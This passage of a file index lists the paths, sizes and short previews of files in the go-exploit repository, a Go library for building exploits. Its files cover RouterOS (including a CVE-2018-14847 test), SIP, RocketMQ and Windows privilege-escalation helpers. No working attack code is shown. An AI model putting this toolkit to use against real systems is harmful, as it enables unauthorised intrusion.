    "preview": "package mikrotik\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n)\n\nfunc Test_CVE_2018_14847_ServerResponse1(t *testing.T) {\n\tresult := Ne"
  },
  {
    "path": "protocol/mikrotik/msg.go",
    "chars": 8017,
    "preview": "// `msg.go` contains the logic for building, reading, accessing, and\n// serializing RouterOS M2 messages.\npackage mikrot"
  },
  {
    "path": "protocol/mikrotik/webfig.go",
    "chars": 9802,
    "preview": "// `webfig.go` implements encryption negotiation and authentication against\n// the web interface (webfig) of RouterOS v6"
  },
  {
    "path": "protocol/mikrotik/winbox.go",
    "chars": 2174,
    "preview": "// `winbox.go` contains the logic for sending unencrypted M2 messages to\n// the RouterOS Winbox port (8291)\npackage mikr"
  },
  {
    "path": "protocol/rocketmq/remoting.go",
    "chars": 3085,
    "preview": "// Package rocketmq is a very basic (and incomplete) implementation of RocketMQ remoting protocol\npackage rocketmq\n\nimpo"
  },
  {
    "path": "protocol/rocketmq/remoting_test.go",
    "chars": 459,
    "preview": "package rocketmq\n\nimport (\n\t\"math\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc Test_MaxSize(t *testing.T) {\n\tmsg := strings.Repeat(\"A\""
  },
  {
    "path": "protocol/sip/examples/README.md",
    "chars": 197,
    "preview": "# SIP examples\n\n## Usage\n\nStart the local Asterisk server and run a example.\n\n```sh\ncd protocol/sip/examples\ndocker comp"
  },
  {
    "path": "protocol/sip/examples/call/main.go",
    "chars": 3144,
    "preview": "// This example registers an endpoint (user authentication) in a server\n// and starts a call (only the SIP related part)"
  },
  {
    "path": "protocol/sip/examples/docker-compose.yml",
    "chars": 378,
    "preview": "name: go-exploit-examples\n\nservices:\n  asterisk:\n    image: mlan/asterisk\n    network_mode: bridge # For testing\n    cap"
  },
  {
    "path": "protocol/sip/examples/ping/main.go",
    "chars": 1196,
    "preview": "// This example checks if a UDP server is up.\n//\n// The OPTION method is used to discover the server capabilities:\n// - "
  },
  {
    "path": "protocol/sip/examples/tcp/main.go",
    "chars": 1050,
    "preview": "// This example sends an OPTIONS request over TCP (or TLS).\npackage main\n\nimport (\n\tsipgo \"github.com/emiago/sipgo/sip\"\n"
  },
  {
    "path": "protocol/sip/helper.go",
    "chars": 16080,
    "preview": "// Package sip is a very basic (and incomplete) implementation of SIP messaging protocol.\n//\n// Based on the sipgo libra"
  },
  {
    "path": "protocol/sip/helper_test.go",
    "chars": 24767,
    "preview": "package sip\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/emiago/sipgo/sip\"\n)\n\nconst (\n\thost                        = \"l"
  },
  {
    "path": "protocol/sip/user-agent.txt",
    "chars": 23,
    "preview": "Jitsi2.10.5550Mac OS X\n"
  },
  {
    "path": "protocol/tcpsocket.go",
    "chars": 3147,
    "preview": "package protocol\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\n\t\"golang.org/x/net/proxy\"\n\n\t"
  },
  {
    "path": "protocol/udpsocket.go",
    "chars": 1424,
    "preview": "package protocol\n\nimport (\n\t\"net\"\n\t\"strconv\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// Dial to a UDP network "
  },
  {
    "path": "random/random.go",
    "chars": 5596,
    "preview": "// Code for generating random data and helpers for common patterns for adding variableness to exploits.\npackage random\n\n"
  },
  {
    "path": "random/random_test.go",
    "chars": 5781,
    "preview": "package random\n\nimport (\n\t\"net\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc Test_RandPositiveInt(t *testing.T) {\n\tinteger := RandPosit"
  },
  {
    "path": "search/search_test.go",
    "chars": 7681,
    "preview": "package search_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/search\"\n)\n\nvar htmlTestOIDC = `<html><he"
  },
  {
    "path": "search/semver.go",
    "chars": 999,
    "preview": "// Data searching and version checking shared code\npackage search\n\nimport (\n\t\"github.com/Masterminds/semver\"\n\n\t\"github.c"
  },
  {
    "path": "search/xpath.go",
    "chars": 1653,
    "preview": "package search\n\nimport (\n\t\"strings\"\n\n\t\"github.com/antchfx/htmlquery\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n//"
  },
  {
    "path": "transform/encode.go",
    "chars": 6863,
    "preview": "package transform\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"slices\"\n\t\"strconv\"\n\t"
  },
  {
    "path": "transform/encode_test.go",
    "chars": 3936,
    "preview": "package transform\n\nimport (\n\t\"testing\"\n)\n\nconst (\n\turlTestString = \"Theskyabovetheportwasthecoloroftelevision,tunedtoade"
  },
  {
    "path": "transform/escape.go",
    "chars": 360,
    "preview": "package transform\n\nimport (\n\t\"encoding/xml\"\n\t\"html\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\nvar Esc"
  },
  {
    "path": "transform/escape_test.go",
    "chars": 335,
    "preview": "package transform\n\nimport (\n\t\"testing\"\n)\n\nfunc TestEscapeHTML(t *testing.T) {\n\tescaped := EscapeHTML(\"<script>\")\n\n\tif es"
  },
  {
    "path": "transform/parsing.go",
    "chars": 938,
    "preview": "package transform\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// Provided a command param tha"
  },
  {
    "path": "transform/parsing_test.go",
    "chars": 342,
    "preview": "package transform\n\nimport \"testing\"\n\nfunc TestParseCommand(t *testing.T) {\n\tprogram, args, ok := ParseCommand(\"cmd.exe /"
  },
  {
    "path": "transform/transform.go",
    "chars": 1287,
    "preview": "// Data transformation utilities.\npackage transform\n\nimport (\n\tcrand \"crypto/rand\"\n\t\"math\"\n\t\"math/big\"\n\t\"math/rand\"\n\t\"ne"
  },
  {
    "path": "transform/transform_test.go",
    "chars": 1895,
    "preview": "package transform\n\nimport (\n\t\"testing\"\n)\n\nfunc TestShuffleParameters(t *testing.T) {\n\tunsorted := \"/?a=1&b=2&c=3&d=4&e=5"
  },
  {
    "path": "windows/alpc_other.go",
    "chars": 2107,
    "preview": "//go:build !windows\n\npackage windows\n\nimport \"unsafe\"\n\n// ALPC Information Classes.\n// These constants are defined on no"
  },
  {
    "path": "windows/alpc_test.go",
    "chars": 2417,
    "preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestALPCInf"
  },
  {
    "path": "windows/alpc_windows.go",
    "chars": 5571,
    "preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"fmt\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\""
  },
  {
    "path": "windows/device_other.go",
    "chars": 1325,
    "preview": "//go:build !windows\n\npackage windows\n\nimport \"unsafe\"\n\n// OpenDevice opens a handle to a device driver.\n// On non-Window"
  },
  {
    "path": "windows/device_test.go",
    "chars": 1207,
    "preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestCtlCode"
  },
  {
    "path": "windows/device_windows.go",
    "chars": 3337,
    "preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sy"
  },
  {
    "path": "windows/fsctl_other.go",
    "chars": 744,
    "preview": "//go:build !windows\n\npackage windows\n\n// NtFsControlFile sends a filesystem control code to a file handle.\n// On non-Win"
  },
  {
    "path": "windows/fsctl_windows.go",
    "chars": 3169,
    "preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"gola"
  },
  {
    "path": "windows/handle_other.go",
    "chars": 1648,
    "preview": "//go:build !windows\n\npackage windows\n\n// QuerySystemHandles returns all handles in the system.\n// On non-Windows systems"
  },
  {
    "path": "windows/handle_test.go",
    "chars": 1536,
    "preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestHandleD"
  },
  {
    "path": "windows/handle_windows.go",
    "chars": 6040,
    "preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/windows\"\n\n\t\"github.com/vulncheck-"
  },
  {
    "path": "windows/memory_other.go",
    "chars": 2821,
    "preview": "//go:build !windows\n\npackage windows\n\n// VirtualAlloc allocates memory in the current process.\n// On non-Windows systems"
  },
  {
    "path": "windows/memory_test.go",
    "chars": 3483,
    "preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestMemoryP"
  },
  {
    "path": "windows/memory_windows.go",
    "chars": 7370,
    "preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sy"
  },
  {
    "path": "windows/platform_other.go",
    "chars": 2190,
    "preview": "//go:build !windows\n\npackage windows\n\n// GetPlatformInfo returns platform information.\n// On non-Windows systems, return"
  },
  {
    "path": "windows/platform_windows.go",
    "chars": 11513,
    "preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\""
  },
  {
    "path": "windows/service_other.go",
    "chars": 1656,
    "preview": "//go:build !windows\n\npackage windows\n\n// SCManager is a placeholder for the service control manager handle.\ntype SCManag"
  },
  {
    "path": "windows/service_test.go",
    "chars": 1997,
    "preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestService"
  },
  {
    "path": "windows/service_windows.go",
    "chars": 6812,
    "preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sys/windows\"\n"
  },
  {
    "path": "windows/token_other.go",
    "chars": 4211,
    "preview": "//go:build !windows\n\npackage windows\n\n// OpenProcessToken opens the access token associated with a process.\n// On non-Wi"
  },
  {
    "path": "windows/token_test.go",
    "chars": 4663,
    "preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestTokenTy"
  },
  {
    "path": "windows/token_windows.go",
    "chars": 10458,
    "preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/windows\"\n\n\t\"github.com/vulncheck-oss/go-expl"
  },
  {
    "path": "windows/windows.go",
    "chars": 12798,
    "preview": "// Windows provides Windows-specific functionality for local privilege\n// escalation exploits. This package includes pro"
  },
  {
    "path": "windows/windows_test.go",
    "chars": 4220,
    "preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nconst windowsOS "
  }
]

About this extraction

This page contains the full source code of the vulncheck-oss/go-exploit GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 198 files (1.1 MB), approximately 381.1k tokens, and a symbol index with 1760 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!